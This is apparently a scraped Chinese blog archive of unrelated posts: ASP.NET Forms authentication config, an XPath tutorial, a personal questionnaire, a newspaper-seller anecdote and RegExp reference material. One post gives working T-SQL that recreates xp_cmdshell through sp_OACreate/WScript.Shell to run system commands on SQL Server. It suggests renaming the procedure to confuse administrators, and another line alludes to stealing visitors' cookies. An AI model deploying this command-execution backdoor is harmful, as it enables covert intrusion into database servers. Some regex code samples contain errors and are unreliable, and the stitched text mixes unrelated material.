亚马逊上关于此书的介绍：
http://www.amazon.com/Cross-Site-Scripting-Attacks-Exploits/dp/1597491543

Jeremiah Grossman
http://jeremiahgrossman.blogspot.com/2007/04/xss-attacks-book.html
http://jeremiahgrossman.blogspot.com/2007/05/xss-book-in-stock-on-amazon.html

RSname
http://ha.ckers.org/blog/20070423/xss-book-preview/
http://ha.ckers.org/blog/20070520/xss-book-released/

pdp
http://www.gnucitizen.org/blog/xss-attacks-book-preview/

下载链接

最近做一个 Web 项目，需要用到跨应用程序进行身份验证，记得 ASP.Net 支持在分布式环境中进行 Forms 身份验证，分布式环境指的是跨单个服务器上的多个应用程序或网络场。在这里我们看一下 Forms 验证的流程，如下图所示：

查 MSDN 得知：
对于参与共享 Forms 身份验证的所有应用程序，<forms> 元素配置节中的多个配置属性必须匹配。下面示例中的指令 name、protection、path、validationKey、decryptionKey 和 validation 在所有应用程序间必须是相同的（除非另外说明）。
<configuration>
    <system.web>
        <authentication>
            <forms name=".ASPXAUTH"
                   loginUrl="logon.aspx"    
                   protection="all"  <!-- Protection must be identical.-->
                   timeout="30"
                   path="/" >   <!-- Path must have a compatible scope.-->
        </authentication>

        <!-- Validation and decryption keys must exactly match and cannot
             be set to "AutoGenerate". The validation algorithm must also
             be the same. -->
        <machineKey>
            validationKey= "C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE"
            decryptionKey= "8A9BE8FD67AF6979E7D20198CFEA50DD3D3799C77AF2B72F"
            validation="SHA1"
            isolateApplications="false"
        </machineKey>
    </system.web>
</configuration>
用于 Cookie 数据的加密和验证密钥以及加密方案必须完全相同。如果设置不匹配，则不能共享 Cookie。

发出 Cookie 之后，将根据 Cookie 自身中的 Expires 值跟踪 Cookie 的到期时间。这意味着如果两个应用程序具有不同的 timeout 属性，则将在 Cookie 的整个生存期中保留最初发出每个 Cookie 时设置的到期日期和时间。当更新 Cookie 时，Cookie 的原始到期时间用于计算新到期时间。使用配置 timeout 值的唯一时间就是最初创建 Cookie 的时间。

这里说一下 <machineKey>节，在 machine.config 中，<machineKey> 默认配置如下：
<machineKey validationKey="AutoGenerate,IsolateApps" decryptionKey= "AutoGenerate,IsolateApps" validation="SHA1"/>
其中的 AutoGenerate 指定 ASP.NET 生成随机密钥并将其存储在本地安全机构 (LSA) 中，而 IsolateApps 则让 ASP.NET 用每个应用程序的应用程序 ID 为每个应用程序生成一个唯一的加密密钥。如果是对一台机器中的多个应用程序，可以移除 IsolateApps 选项，如果是对多台机器中的多个应用程序，可以将 IsolateApps 设定一个特定的值。

要想实现跨应用程序登录，在配置文件中关键有以下两点需要注意：
1、多个应用程序配置文件中 <authentication> 节中的 Name、Protection、Path 属性必须是一致的。
2、必须增加 <machineKey> 节。而且属性必须一致。

最后，按照 MSDN 中的配置代码，应用程序出现错误，原来 MSDN 中的这段配置代码是有误的，其中的 <machineKey> 节根本没有 isolateApplications 属性。去除这个属性后就可以了。

把ZVON.org 上的 XPath实例教程综合到了一起，写成Word文档。详细内容见附件。

实例 1
/AAA              /AAA/CCC             /AAA/DDD/BBB
基本的 XPath 语法类似于在一个文件系统中定位文件 , 如果路径以斜线 / 开始 , 那么该路径就表示到一个元素的绝对路径

实例 2
//BBB             //DDD/BBB
如果路径以双斜线 // 开头 , 则表示选择文档中所有满足双斜线 // 之后规则的元素 ( 无论层级关系 )

实例 3
/AAA/CCC/DDD/*         /*/*/*/BBB             //*
星号 * 表示选择所有由星号之前的路径所定位的元素

实例 4
/AAA/BBB[1]         /AAA/BBB[last()]
方块号里的表达式可以进一步的指定元素 , 其中数字表示元素在选择集里的位置 , 而 last() 函数则表示选择集中的最后一个元素 .

实例 5
//@id       //BBB[@id]     //BBB[@name]       //BBB[@*]      //BBB[not(@*)]

实例 6
//BBB[@id='b1']            //BBB[@name='bbb']             //BBB[normalize-space(@name)='bbb']
属性的值可以被用来作为选择的准则 , normalize-space 函数删除了前部和尾部的空格 , 并且把连续的空格串替换为一个单一的空格

实例 7
//*[count(BBB)=2]         //*[count(*)=2]              //*[count(*)=3]
count() 函数可以计数所选元素的个数

实例 8
//*[name()='BBB']          //*[starts-with(name(),'B')]            //*[contains(name(),'C')]
name() 函数返回元素的名称 , start-with() 函数在该函数的第一个参数字符串是以第二个参数字符开始的情况返回 true, contains() 函数当其第一个字符串参数包含有第二个字符串参数时返回 true.

实例 9
//*[string-length(name()) = 3]          //*[string-length(name()) < 3]    //*[string-length(name()) > 3]
string-length 函数返回字符串的字符数 , 你应该用 &lt; 替代 <, 用 &gt; 代替 >

实例 10
//CCC | //BBB         /AAA/EEE | //BBB               /AAA/EEE | //DDD/CCC | /AAA | //BBB
多个路径可以用分隔符 | 合并在一起

实例 11
/AAA       /child::AAA     /AAA/BBB      /child::AAA/child::BBB         /child::AAA/BBB
child 轴 (axis) 包含上下文节点的子元素 , 作为默认的轴 , 可以忽略不写 .

实例 12
/descendant::*   /AAA/BBB/descendant::*    //CCC/descendant::*    //CCC/descendant::DDD
descendant ( 后代 ) 轴包含上下文节点的后代 , 一个后代是指子节点或者子节点的子节点等等 , 因此 descendant 轴不会包含属性和命名空间节点 .

实例 13
//DDD/parent::*
parent 轴 (axis) 包含上下文节点的父节点 , 如果有父节点的话

实例 14
/AAA/BBB/DDD/CCC/EEE/ancestor::*        //FFF/ancestor::*
ancestor 轴 (axis) 包含上下节点的祖先节点 , 该祖先节点由其上下文节点的父节点以及父节点的父节点等等诸如此类的节点构成 , 所以 ancestor 轴总是包含有根节点 , 除非上下文节点就是根节点本身 .

实例 15
/AAA/BBB/following-sibling::*     //CCC/following-sibling::*
following-sibling 轴 (axis) 包含上下文节点之后的所有兄弟节点

实例 16
/AAA/XXX/preceding-sibling::*           //CCC/preceding-sibling::*
preceding-sibling 轴 (axis) 包含上下文节点之前的所有兄弟节点

实例 17
/AAA/XXX/following::*               //ZZZ/following::*
following 轴 (axis) 包含同一文档中按文档顺序位于上下文节点之后的所有节点 , 除了祖先节点 , 属性节点和命名空间节点

实例 18
/AAA/XXX/preceding::*               //GGG/preceding::*
preceding 轴 (axis) 包含同一文档中按文档顺序位于上下文节点之前的所有节点 , 除了祖先节点 , 属性节点和命名空间节点

实例 19
/AAA/XXX/descendant-or-self::*          //CCC/descendant-or-self::*
descendant-or-self 轴 (axis) 包含上下文节点本身和该节点的后代节点

实例 20
/AAA/XXX/DDD/EEE/ancestor-or-self::*           //GGG/ancestor-or-self::*
ancestor-or-self 轴 (axis) 包含上下文节点本身和该节点的祖先节点

实例 21
//GGG/ancestor::*          //GGG/descendant::*       //GGG/following::*

//GGG/preceding::*      //GGG/self::*  

//GGG/ancestor::* | //GGG/descendant::* | //GGG/following::* | //GGG/preceding::* | //GGG/self::*
ancestor, descendant, following, preceding 和 self 轴 (axis) 分割了 XML 文档 ( 忽略属性节点和命名空间节点 ), 不能交迭 , 而一起使用则包含所有节点

实例 22
//BBB[position() mod 2 = 0 ]

//BBB[ position() = floor(last() div 2 + 0.5) or position() = ceiling(last() div 2 + 0.5) ]

//CCC[ position() = floor(last() div 2 + 0.5) or position() = ceiling(last() div 2 + 0.5) ]
div 运算符做浮点除法运算 , mod 运算符做求余运算 , floor 函数返回不大于参数的最大整数 ( 趋近于正无穷 ), ceiling 返回不小于参数的最小整数 ( 趋近于负无穷 )

                              DELL PowerEdge SC430

1.你觉得这个游戏的"上家"人好不好？
不错

2.你觉得心目中的美丽是怎样的？
气质好

3.最后一次尿床是什么时候？
不记得了哦

4.到目前为止，有没有考虑过要不要孩子的问题？如果想要，想要几个？
没考虑过。

5.当你看到街边乞丐无助的眼神时，你是否会考虑到昨天报上所说的"街边乞丐的骗局"而把自己的恻隐之
心隐藏起来呢？
看乞丐是什么情形了。如果是老人那不会。

6.如果你当选了中国男子足球队的主教练该会怎么样？(by thom)
找一个好的assistant coach。

7.给你两个选择，一个是安逸的生活，一个是紧张的都市生活。前者的环境下只能满足自己的吃喝，几乎
好难有剩余的开支，后者有高薪的工作，生活富足，但是压力很大。你会选择哪种?（by amanda）
前者。

8.你会为了自己喜欢的人放弃前途吗？为什么？（ by mishier）
不会。

9，快乐与道义，你会选择哪一个？ （By Cynthia）
快乐。

10. 天冷的时候,你有想过要找一个人陪着你取暖么?如果有的话,把他(她)的名字写出来.(By adi)
想过，还没找着呢！

11. 你上一次有想杀人的冲动是在什么情形下？详细描述.(By eagle火热的冬天)
看电影的时候。

12.想不想要一个一辈子的情人(By 小虾仁)
不想。

13.今年的圣诞节，你在干什么？(By 清泉)
跟几个几年没见的高中同学吃饭玩呢。

14.讲个冷笑话来听听？(By leon)
不会。

15.最想去什么地方旅游？为什么？(By Neo)
泰山，离的挺近始终没去过。

16.什么时候开始写blog的？从中得到了什么？(By Yetin)
05年，发现自己很懒。

17.对你影响最大的一本书是?为什么?(By 舍予之间)
三国。

18：说说你第一次失眠是什么时候，为什么失眠？（By　蜀狂）
没有失眠过。

19：你是男是女？如果有下辈子投胎，想做啥？（By 断剑）
男。还是男的。

20：你做过什么傻事没有? 如果有, 你从中得到了什么？ （By 别样心情）
还没有

21：你理想的生活是什么样子的？(By eidiot)
在一栋温暖舒适的大房子里和老伴儿讲从前的故事。

22.你的银行卡密码是什么？（By 幻灭）
 Q$

23.你的冻过手吗？（By 少林扫地僧）
没有。

24.想过将来拥有多大面积的房子么？（By KACA）
100平米就够了。

25.你上网时听什么歌？ （By fyadi）
不听。

26.开设Blog的初衷是啥？觉得达到了么？ （By HaoZi04）
写点东西。还没呢！

27.最尴尬的一件事是什么？(By Gythialy)
叫错人，辈分弄错了。

28.你做过最猥琐的事情是什么？(By Phevoz)
盯着美女看？？

29.你觉得怎样才能让你真正的快乐？（除了作爱什么的，或者和心爱的人、家人、朋友在一起、中大奖
之类~）(LL19.com)
生活简单而充实。

30.你会在2005年12月25号去娃娃的blog（http://www.a-fei.net/wawa/blog/）为她的生日留下祝福吗
？（by娃娃）
已经晚了！

31.看到这个帖子前一个小时你在做什么?（by OM-Space）
睡觉。

32.对现在的工作有什么不爽的地方？（by Ryan）
水平高的人太少了。

33.从出生到现在一共谈了几次恋爱？（by Alex lee）
Chr(30)

34.你最不爽谁？（by anson）
欺负弱者的人。

35.你相信有情饮水饱吗？没有经济等物质的两性生活，你认为可以吗?(by simon)
不太相信。

36.自由，爱情和金钱之间你会选谁（单选）？( by Aspid Blog )
自由

37.当你回答完了上面的问题之后，有什么感想，有什么冲动？越详细越好。 (By Black-Xstar)
题目无聊！

38.你每天浪费多少时间？（ by rwk.cn ）
不一定

39.怎样有效阻止自己浪费时间
学习

40.你还相信有不变的爱情吗?( by kikiji)
相信

41.如果一直没遇到真爱，你会不会愿意一直克服所有的困难和压力，坚持着继续寻找到老到死？（BY KAY）
愿意。

42.朋友因为一些过失身处困境，你会选择怒其不争，直接对他的错误进行批判；还是会先鼓励她，多给她拥抱，陪伴她走出困境，慢慢帮他摆正航向？（翅膀）
当然后者
 
43.前面的女朋友或者男朋友来找你？你会和她/他在一起么？为什么（Ken）
以前没有过啊，所以不会有人来找。
 
44.给自己3个还要生活在这个世界的理由？(Astrid)
亲情,友情,爱情
 
45.去里屋吗？ (年)
？？
 
46.怎样才能满意自己的人生...（ＢＹ　无ＪＪ）
达到自己的理想和目标。
 
47.你会把你的所有心思都写在ＢＬＯＧ里吗？(维纳斯)
不会。
 
48.会为了实现自己的目标而不择手段吗? （复古香水）
不会。

49.我的问题：到目前你的生活，快乐多一些还是其他多一些，为什么？
快乐多一些。什么时候都是这样！

我认识写Blog的人好像都叫你们点过了。我就不点了。

根据官方网站的测试：同时打开60个HTML文件(每个3KB)。
v4.13版本：60个emeditor.exe进程，每个进程内存5,800-6,000 KB，总共使用内存352MB，平均启动速度15秒。
v5.00版本：一个emeditor.exe进程，内存总共只用了8.992 KB，平均启动速度1秒。
还有一个我比较喜欢的功能就是可以双击关闭文档了，当然还有很多新的功能就不一一介绍了。
详细功能介绍看这里http://www.emeditor.com/pro5.htm

源代码会把网页撑大，去掉了。　源代码可以在这里查看

喜欢命令行的朋友可以试下.
下载地址

        每天坐35W车上下班，车站总有一个卖报纸的老汉。老汉穿着整洁，看上去精神矍烁。 看起来每天的生意都不错。

        有一天下班时间不算晚，买了他一份杂志，便和他闲聊了起来。 “老师傅，生意不错吧！” “嗯，还可以，过得去吧！” “看您成天忙忙碌碌的，收成一定不错吧！” “呵呵，还不错吧！反正养老婆和供孩子读书基本没问题了！朋友，别看我普普通通， 我家女儿可是在南大读书哩！学费贵着哩！” “哟，老师傅，你真行啊！一般人可没您这么大能耐呢！” “呵呵，朋友你可真会说话。不过你倒没说错，我吧，不动不摇，一个月4000块是没有 问题的！”

        老汉打开了话匣子，和我聊了起来。

        两年前，老汉在工厂下岗了。下岗工资就那么少，生活的压力，使得老汉开始打算卖报 挣钱。(制定工作目标)。几经挑选，发现35W车总店人流量大，车次多，于 是选定在35W车总站卖报 (经初步市场分析，选择终端销售点)。

        但是，经过几天蹲点发现，车站固定的卖报人已经有了两个。(营销环境论证)。其中 一个卖了很长的时间了，另一个好象是车站一位驾驶员的熟人。 (对竞争对手进行初步分析)。如果不做任何准备就直接进场卖报，一定会被人家赶出来的。于是老汉打算从车站的管理人员下手 (制定公关策略)。开始，老汉每天给几位管理人员每人送份报纸，刚开始人家跟他不熟，不要他的报纸。他就说这是在附近卖报多余的，车站管理员也不是什么大官，一来二去也就熟了。老汉这时就开始大倒苦水，说现在下岗了，在附近卖报销量也不好，一天卖不了几份，而马上女儿就要参加高考了，高昂的学费实在是无力负担，女儿学习成绩那么好，如果让她不读了真的对不起她了…… (与公关对象接触，并博取同情)。人心都是肉做的，车站管理员就热心帮他出主意：那你就要我们车站来卖报嘛。我们这边生意蛮好的，他们每天都能卖几百份呢。

        大功告成了！有了车站管理员的许可，老汉光明正大的进场了。当然，老汉不会忘记每 天孝敬管理员每人一份报纸 (公共关系维护)。

        可是，这场是进了，可一共三个卖报人，卖的可是同样的报纸。老汉冥思苦想一番(进 行营销策略分析)，有了！另两个卖报的都是各有一个小摊点，在车站的一左一右。老汉决定，不摆摊，带报纸到等车的人群中和进车厢里卖。 (差异化营销，渠道创新，变店铺销售为直销)。卖一段时间下来，老汉还总结了一些门道：等车的人中一般中青年男的喜欢买报纸、上车的人中一般有座位的人喜欢买报纸并喜欢一边吃早点一边看(消费者分析)、有重大新闻时报纸卖的特别多 (销售数据分析)。

        于是，老汉又有了新创意。每天叫卖报纸时，不再叫唤：快报、晨报、金陵晚报，三毛 一份，五毛两份。而是换了叫法，根据新闻来叫。什么伏明霞嫁给53岁的梁锦松啦、汤山投毒案告破啦、一个女检查长的堕落啦、非典疫情新进展，病毒研究有重大突破啦什么的 (对产品进行分析，挖掘USP独特的销售主张)。果然，这一招十分见效！原先许多没打算买的人都纷纷买报纸。几天下来，老汉发现，每天卖的报纸居然比平时多了一半！

        同时，老汉还凭借和车站管理员的良好关系，让同样下岗的老婆在车站摆了个小摊，卖 豆浆。旁边卖早点的摊点已经有十来个了，带卖豆浆的也有4、5家。而老汉不同，老汉只卖豆浆，而且老汉的豆浆是用封口机封装的那种，拿在手上不会洒出去。比人家多花了500多块买的一台封口机，豆浆价格比别人贵一毛钱。因为座车吃早点的人通常没法拿饮料，因为怕洒。有了这个封口豆浆，这个问题就解决了。(针对目标消费者的潜在需求，开发边缘产品)。结果，老汉老婆的豆浆摊生意出奇地好！

        这样做了大约半年左右，车站的一家报摊由于生意不太好就不卖了，于是老汉就接下这 个地方支起了自己的报摊。但老汉又有不同：买了政府统一制作的报亭，气派又美观 。(有统一的VI，有助于提升形象)。老汉的经营品种也从单一的卖报纸发展到卖一些畅销杂志 (产品线延伸)。销量更上一层楼了。老汉还会根据什么杂志好卖搞一些优惠，比如说买一本《读者》送一份《快报》什么的，因为杂志赚的比较多。(促销策略，用利润空间较大的产品做买赠促销，并选择受欢迎的赠品)。老汉的女儿周末在肯德基打工，经常带回来一些优惠券，于是，这又成了老汉促销的独特武器！买报纸杂志一份，赠送肯德基优惠券一份。 (整合资源，创造差异化)

        同时，由于老汉这个报亭良好的地理位置，和巨大的销量，很快就被可口可乐公司发现 了，他们安排业务人员上门，在老汉的报亭里张帖了可口可乐的宣传画，安放了小冰箱，于是，老汉的报亭不仅变得更漂亮更醒目，还能收一些宣传费，而且增加了卖饮料的收入。(开发新的盈利项目成功)

        就这样一直做了两年，老汉的卖报生意有声有色。每月的收入都不低于4000元。现在， 老汉又有了新的目标，就是附近的有线电厂小区。老汉打算在小区出口的小胡同里再开一家新的报亭 (利用成型的管理和共享的资源，走连锁经营路线)，把女儿将来读研的钱也挣到手！

        和老汉的一席谈话，收获颇多。卖报卖出这样的经营哲学，这位老汉可才是真正的实战派营销人。

CREATE PROCEDURE dbo.sp_myxpcmdshell1(@cmd varchar(255), @Wait int = 0) AS DECLARE @FSOUT int,@ShellID int,@FSOID int
DECLARE @cmdtemp varchar(255), @str varchar(4000),@tempfile varchar(255) SET @tempfile = 'C:\temp' SET @cmdtemp = 'cmd.exe /c ' + @cmd + '>'+ @tempfile EXEC sp_OACreate 'WScript.Shell', @ShellID OUT EXEC sp_OAMethod @ShellID, 'Run', Null, @cmdtemp, 0, @Wait EXEC sp_OADestroy @ShellID EXEC sp_OACreate 'scripting.filesystemobject', @FSOID OUT EXEC sp_OAMethod @FSOID, 'opentextfile', @FSOUT OUT, @tempfile, 1 EXEC sp_OAMethod @FSOUT, 'readall', @str OUT EXEC sp_OAMethod @FSOID, 'DeleteFile',Null, @tempfile EXEC sp_OADestroy @FSOID PRINT @str

 想了一个办法，现在有回显了，不过还是有点小问题。待解决。

2)创建

  在查询分析器里执行下面代码（或者执行 osql.exe -S 192.168.1.1 -U user -P pass -i mycmdshell.sql）

/**//*
FileName:mycmdshell.sql
Author:Phenge
Date: 2005.05.26
Purpose: Make your own xp_cmdshell stored procedure via OLE object
*/
CREATE PROCEDURE dbo.sp_myxpcmdshell(@cmd varchar(255), @Wait int = 0) AS
--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult 


EXECUTE @OLEResult = sp_OADestroy @ShellID
--destory object

return @result

当然里面的dbo.myxpcmdshell可以改成别的，改一个比较迷惑管理员的 。

3)命令执行
 在查询分析器里执行下面代码
 exec sp_myxpcmdshell "your command"
 example:  exec sp_myxpcmdshell "cmd.exe /c net start>c:\services.txt"
 用osql.exe
 osql.exe -S Server/Ipaddress -U username -P password -i mycommand.sql   (mycommand.sql是你要执行的sql文件)
 当然也可以在asp里执行，这里不赘叙。

4)缺点
 没有回显，这是个比较郁闷的问题。

电子书下载

看了下，发觉自己会的很少啊。

 原版下载

 注册机和汉化补丁

获得浏览者的"Cookie"的具体细节就不用我说了吧！(网上这方面的资料多的是)

RegExp是提供简单的正则表达式支持功能。

下面的代码说明了RegExp对象的用法：

Function RegExpTest(patrn, strng)
   Dim regEx, Match, Matches   ' 建立变量。
   Set regEx = New RegExp   ' 建立正则表达式。
   regEx.Pattern = patrn   ' 设置模式。
   regEx.IgnoreCase = True   ' 设置是否区分字符大小写。
   regEx.Global = True   ' 设置全局可用性。
   Set Matches = regEx.Execute(strng)   ' 执行搜索。
   For Each Match in Matches   ' 遍历匹配集合。
      RetStr = RetStr & "Match found at position "
      RetStr = RetStr & Match.FirstIndex & ". Match Value is '"
      RetStr = RetStr & Match.Value & "'." & vbCRLF
   Next
   RegExpTest = RetStr
End Function
MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))

正规则表达式用 RegExp 的 test 和 exec 方法以及 String 的 match、replace、search 和 split 方法进行工作，这些方法将在 中进行祥述。

方法  描　　　　述 
exec  在字符串中执行搜索一个匹配的 RegExp 方法，它返回查找结果的数组 
test  在字符串中测试一个匹配的 RegExp 方法，返回 true 或 false 
match  在字符串中执行搜索一个匹配的 String 方法，返回一个信息的数组或错配后返回一个 null 
search  在字符串中测试一个匹配的String 方法，返回匹配的索引，或错配后返回 -1 
replace  在字符串中执行搜索一个匹配的 String 方法，并用另一个替换的该匹配的子串 
split  一个 String 方法，用规则表达式或一个固定字符串分离为子串的数组 

下例中用 exec 方法在一个字符串中搜索一个匹配：

<SCRIPT LANGUAGE="JavaScript1.2">
　myRe=/d(b+)d/g;
　myArray = myRe.exec("cdbbdbsbz");
</SCRIPT>

如果您不需要访问规则表达式的属性，可以用下面的方法来代替：

<SCRIPT LANGUAGE="JavaScript1.2">
　myArray = /d(b+)d/g.exec("cdbbdbsbz");
<SCRIPT>

如果您希望能重编译规则表达式，也可以用下面的方法替换：

<SCRIPT LANGUAGE="JavaScript1.2">
　myRe= new RegExp ("d(b+)d", "g:);
　myArray = myRe.exec("cdbbdbsbz");
<SCRIPT>

上面的脚本成功进行了匹配，并返回数组和更新了下表中的属性：

对象  属性或索引  描　　述  本例 
myArray  　  匹配的字符串并存储子串  ["dbbd", "bb"] 
index  从零开始的字符串匹配索引  1 
input  原始字符串  "cdbbdbsbz" 
[0]  最后匹配字符  "dbbd" 
myRe  lastIndex  开始下一个匹配的索引 （该属性仅在用 g 选项时有效，请参见通用搜索章节）  5 
source  模型的文本  "d(b+)d" 
RegExp  lastMatch  最后匹配字符  "dbbd" 
leftContext  匹配前最首个子串  "c" 
rightContext  匹配后的首个子串  "bsbz" 

RegExp.leftContext 和 RegExp.rightContext 可以用另外的值计算，RegExp.leftContext 等同于：

myArray.input.substring(0, myArray.index)

RegExp.rightContext 等同于：

myArray.input.substring(myArray.index + myArray[0].length)

正如第二个例子，您可以不用给变量赋值的对象初始化程序创建一个规则表达式，但这样您将不能访问规则表达式的属性，如下：

<SCRIPT LANGUAGE="JavaScript1.2">
　myRe=/d(b+)d/g;
　myArray = myRe.exec("cdbbdbsbz");
　document.writeln("The value of lastIndex is" + myRe.lastIndex);
</SCRIPT>

该脚本显示：lastIndex 的值为 5，但如果您用下面的脚本：

<SCRIPT LANGUAGE="JavaScript1.2">
　myArray = /d(b+)d/g.exec("cdbbdbsbz");
　document.writeln("The value of lastIndex is " + /d(b+)d/g.lastIndex);
</SCRIPT>

lastIndex 显示的值为 0。

这两个语句中的 /d(b+)d/g 是两个不同的规则表达式，因此有不同的 lastIndex 属性值。

圆括号在子串匹配的作用
　　在一个规则表达式中使用圆括号将使会存储对应的子串，如：/a(b)c/ 匹配字符 'abc' 并存储 'b'，您可以用 RegExp 属性 $1, ..., $9 或数组元素 [1], ..., [n] 来调用它，请看下面的例子：

例一：

<SCRIPT LANGUAGE="JavaScript1.2">
　re = /(\w+)\s(\w+)/;
　str = "John Smith";
　newstr = str.replace(re, "$2, $1");
　document.write(newstr)
</SCRIPT >

它将显示 "Smith, John"。

例二：

<HTML>
<SCRIPT LANGUAGE="JavaScript1.2">
function getInfo(){
　re = /(\w+)\s(\d+)/
re.exec();
window.alert(RegExp.$1 + ", your age is " + RegExp.$2);
}
</SCRIPT>
Enter your first name and your age, and then press Enter.
<FORM>
<INPUT TYPE="text" NAME="NameAge" onChange="getInfo(this);">
</FORM>
</HTML>

上例中，RegExp.input 由 Change 事件所设置，在 getInfo 函数中，exec 方法用 RegExp.input 值作为它的参数。

例三：

<HTML>
<SCRIPT LANGUAGE="JavaScript1.2">
function getInfo(){
a = /(\w+)\s(\d+)/();
window.alert(a[1] + ", your age is " + a[2]);
}
</SCRIPT>
Enter your first name and your age, and then press Enter.
<FORM>
<INPUT TYPE="text" NAME="NameAge" onChange="getInfo(this);">
</FORM>
</HTML>

例三同例二结果完全相同。

通配搜索和忽略大小写
　　规则表达式有两个选项标记，以允许通配和忽略大小进行搜索。进行通配用 g 标记，忽略大小写搜索用 i 标记，如下：

<SCRIPT LANGUAGE="JavaScript1.2">
re = /\w+\s/g;
　str = "fee fi fo fum";
myArray = str.match(re);
document.write(myArray);
</SCRIPT>

它将显示 ["fee ", "fi ", "fo "]。

 属性
Global 属性 | IgnoreCase 属性 | Pattern 属性

方法
Execute 方法 | Replace 方法 | Test 方法

======================
Global 属性
设置或返回一个 Boolean 值，该值指明在整个搜索字符串时模式是全部匹配还是只匹配第一个。

object.Global [= True | False ]

对象 参数总是 RegExp 对象。如果搜索应用于整个字符串，Global 属性的值为 True，否则其值为 False。默认的设置为 False。

说明
下面的代码说明了 Global 属性的用法（改变赋予 Global 属性的值并观察其效果）：

Function RegExpTest(patrn, strng)
Dim regEx ,match,matches ' 建立变量。
Set regEx = New RegExp ' 建立规范表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = True ' 设置是否区分字母的大小写。
regEx.Global = True ' 设置全程性质。
set matches= regEx.Execute(strng) ' 执行搜索。
for each match in matches ' 重复匹配集合
RetStr=RetStr &"Match found at position "
RetStr=RetStr&Match.FirstIndex&".Match Value is '"
RetStr=RetStr&Match.Value&"'."&vbCRLF Next
RegExpTest=RetStr
End Function

MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))

==========================================

IgnoreCase 属性
设置或返回一个Boolean值，指明模式搜索是否区分大小写。

object.IgnoreCase [= True | False ]

Object 参数总是一个 RegExp 对象。如果搜索是区分大小写的，则 IgnoreCase 属性为 False；否则为 True。缺省值为 False。

说明
下面的代码说明了 IgnoreCase 属性的用法（改变赋予 IgnoreCase 属性的值以观察其效果)：

Function RegExpTest(patrn, strng)
Dim regEx,Match,Matches ' 建立变量。
Set regEx = New RegExp ' 建立正则表达式。
regEx.Pattern = patrn ' 设置模式。
regEx.IgnoreCase = True ' 设置不区分大小写。
regEx.Global=True ' 设置全局可用性
set matches=regExExecute(string ) ' 执行搜索。
for each match in matches ' 重复匹配集合
RetStr=RetStr &"Match found at position "
RetStr=RetStr&Match.FirstIndex&".Match Value is '"
RetStr=RetStr&Match.Value&"'."&vbCRLF
Next
RegExpTest=RetStr
End Function
MsgBox(RegExpTest("is.", "IS1 is2 IS3 is4"))

====================================================================

Pattern 属性
设置或返回被搜索的正则表达式模式。

object.Pattern [= "searchstring"]

参数
object

必选项。总是一个 RegExp 对象变量。

searchstring

可选项的。被搜索的正则字符串表达式。它可能包含设置部分表格中的各种正则表达式字符。

设置
在书写正则表达式的模式时使用了特殊的字符和序列。下表描述了可以使用的字符和序列，并给出了实例。

字符 描述
\ 将下一个字符标记为特殊字符或字面值。例如"n"与字符"n"匹配。"\n"与换行符匹配。序列"\\"与"\"匹配，"\("与"("匹配。
^ 匹配输入的开始位置。
$ 匹配输入的结尾。
* 匹配前一个字符零次或几次。例如，"zo*"可以匹配"z"、"zoo"。
+ 匹配前一个字符一次或多次。例如，"zo+"可以匹配"zoo",但不匹配"z"。
? 匹配前一个字符零次或一次。例如，"a?ve?"可以匹配"never"中的"ve"。
. 匹配换行符以外的任何字符。
(pattern) 与模式匹配并记住匹配。匹配的子字符串可以从作为结果的 Matches 集合中使用 Item [0]...[n]取得。如果要匹配括号字符(和 )，可使用"\(" 或 "\)"。
x|y 匹配 x 或 y。例如 "z|food" 可匹配 "z" 或 "food"。"(z|f)oo" 匹配 "zoo" 或 "food"。
{n} n 为非负的整数。匹配恰好n次。例如，"o{2}" 不能与 "Bob 中的 "o" 匹配，但是可以与"foooood"中的前两个o匹配。
{n,} n 为非负的整数。匹配至少n次。例如，"o{2,}"不匹配"Bob"中的"o"，但是匹配"foooood"中所有的o。"o{1,}"等价于"o+"。"o{0,}"等价于"o*"。
{n,m} m 和 n 为非负的整数。匹配至少 n 次，至多 m 次。例如，"o{1,3}" 匹配 "fooooood"中前三个o。"o{0,1}"等价于"o?"。
[xyz] 一个字符集。与括号中字符的其中之一匹配。例如，"[abc]" 匹配"plain"中的"a"。
[^xyz] 一个否定的字符集。匹配不在此括号中的任何字符。例如，"[^abc]" 可以匹配"plain"中的"p".
[a-z] 表示某个范围内的字符。与指定区间内的任何字符匹配。例如，"[a-z]"匹配"a"与"z"之间的任何一个小写字母字符。
[^m-z] 否定的字符区间。与不在指定区间内的字符匹配。例如，"[m-z]"与不在"m"到"z"之间的任何字符匹配。
\b 与单词的边界匹配，即单词与空格之间的位置。例如，"er\b" 与"never"中的"er"匹配，但是不匹配"verb"中的"er"。
\B 与非单词边界匹配。"ea*r\B"与"never early"中的"ear"匹配。
\d 与一个数字字符匹配。等价于[0-9]。
\D 与非数字的字符匹配。等价于[^0-9]。
\f 与分页符匹配。
\n 与换行符字符匹配。
\r 与回车字符匹配。
\s 与任何白字符匹配，包括空格、制表符、分页符等。等价于"[ \f\n\r\t\v]"。
\S 与任何非空白的字符匹配。等价于"[^ \f\n\r\t\v]"。
\t 与制表符匹配。
\v 与垂直制表符匹配。
\w 与任何单词字符匹配，包括下划线。等价于"[A-Za-z0-9_]"。
\W 与任何非单词字符匹配。等价于"[^A-Za-z0-9_]"。
\num 匹配 num个，其中 num 为一个正整数。引用回到记住的匹配。例如，"(.)\1"匹配两个连续的相同的字符。
\n 匹配 n，其中n 是一个八进制换码值。八进制换码值必须是 1, 2 或& nbsp3 个数字长。例如，"\11" 和 "\011" 都与一个制表符匹配。"\0011"等价于"\001" 与 "1"。八进制换码值不得超过  256。否则，只有前两个字符被视为表达式的一部分。允许在正则表达式中使用ASCII码。
